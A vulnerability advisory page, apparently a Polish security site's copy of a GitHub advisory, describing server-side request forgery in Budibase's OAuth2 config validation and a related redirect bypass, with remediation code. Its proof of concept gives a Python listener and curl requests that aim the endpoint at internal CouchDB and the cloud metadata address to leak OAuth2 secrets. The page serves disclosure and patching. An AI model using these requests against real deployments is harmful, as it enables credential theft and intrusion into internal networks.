Wysoka

Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection

  • Ujawniono: 12.06.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

The OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts (line 59) uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint.

A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.

Details

Vulnerable code — packages/server/src/sdk/workspace/oauth2/utils.ts:59:

ts
async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
  // ...
  const response = await fetch(config.url, fetchConfig)  // NO blacklist check!
  // ...
}

Safe wrapper used everywhere else — packages/backend-core/src/utils/outboundFetch.ts:

ts
export async function fetchWithBlacklist(url: string, opts?: RequestInit) {
  await blacklist.isBlacklisted(url)  // Checks against internal IPs
  const response = await fetch(url, { ...opts, redirect: "manual" })
  // Re-checks every redirect target
}

Where fetchWithBlacklist IS used (consistency gap proof):

  • automations/steps/discord.ts — Discord webhook
  • automations/steps/slack.ts — Slack webhook
  • automations/steps/make.ts — Make.com integration
  • automations/steps/n8n.ts — n8n integration
  • automations/steps/zapier.ts — Zapier integration
  • automations/steps/outgoingWebhook.ts — Custom webhooks
  • Plugin download (GitHub, NPM)
  • Object store tarball downloads

Where it is NOT used:

  • sdk/workspace/oauth2/utils.ts:59 — OAuth2 token fetch ← THIS VULNERABILITY

PoC

bash
# 1. Start SSRF listener
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print(f'SSRF: {self.path} | Body: {body.decode()}')
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(b'{\"access_token\":\"x\",\"token_type\":\"bearer\"}')
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
" &

# 2. As builder, validate OAuth2 config pointing to internal service
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9999/ssrf","clientId":"test","clientSecret":"test"}'

# Result: Listener captures POST with Authorization: Basic header containing credentials
# The client_id and client_secret are leaked to the attacker-controlled URL

# 3. Access internal CouchDB
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:5984/_all_dbs","clientId":"x","clientSecret":"x"}'

# Result: {"valid":false,"message":"Unauthorized"} — confirms CouchDB is reachable

# 4. Access AWS metadata (in cloud deployments)
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"x","clientSecret":"x"}'

Additional SSRF Vector: REST Integration Redirect Bypass

The REST integration at packages/server/src/integrations/rest.ts:754-778 calls blacklist.isBlacklisted(url) only once on the initial URL, then passes it to undici.fetch() with default redirect: "follow". Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to 169.254.169.254.

Contrast with safe wrapper: fetchWithBlacklist() uses redirect: "manual" and re-checks every redirect target.

Impact

  • Internal service access — CouchDB (default port 5984), Redis, internal APIs
  • Cloud metadata exfiltration — AWS/GCP/Azure IAM credentials via 169.254.169.254
  • Credential leakage — OAuth2 client_id and client_secret sent as Basic auth to attacker URL
  • Network reconnaissance — Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)

Remediation

Replace fetch(config.url, fetchConfig) with fetchWithBlacklist(config.url, fetchConfig) in packages/server/src/sdk/workspace/oauth2/utils.ts:

ts
import { fetchWithBlacklist } from "@budibase/backend-core/utils"

async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
  // ...
  const response = await fetchWithBlacklist(config.url, fetchConfig)
  // ...
}

Also fix the REST integration redirect bypass in packages/server/src/integrations/rest.ts by using fetchWithBlacklist() instead of raw undici.fetch().

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm @budibase/server < 3.39.0 3.39.0

Odnośniki

Ocena CVSS 7.7/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Słabość (CWE)
CWE-918
Platforma
npm
Paczka
@budibase/server
Ujawniono
12.06.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-g6qx-g4pr-92v7 - CC BY 4.0

Historia podatności: @budibase/server

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (42) w archiwum
Wszystkich wpisów
42
Pierwsza → ostatnia
03.2024 08.2026
Bez poprawki
19
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 8
  • Wysoka 27
  • Średnia 7

Ujawnienia w latach

  1. 2024: 1
  2. 2025: 0
  3. 2026: 41
Istotność:
  1. Wysoka · 8.5 CVE-2026-73410 <= 3.38.1 brak poprawki
  2. Wysoka · 7.7 CVE-2026-72849 <= 3.38.1 brak poprawki
  3. Krytyczna · 9.6 CVE-2026-73300 <= 3.38.1 brak poprawki
  4. Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection ten wpis
    Wysoka · 7.7 CVE-2026-48146 < 3.39.0 3.39.0
  5. Wysoka · 7.7 CVE-2026-45715 < 3.38.1 3.38.1
  6. Wysoka · 8.8 CVE-2026-25044 < 3.33.4 3.33.4
  7. Wysoka CVE-2026-25041 < 3.23.32 3.23.32
  8. Krytyczna · 9.8 ghsa-4g2x-vq5p-5vj6 < 2.20.0 2.20.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.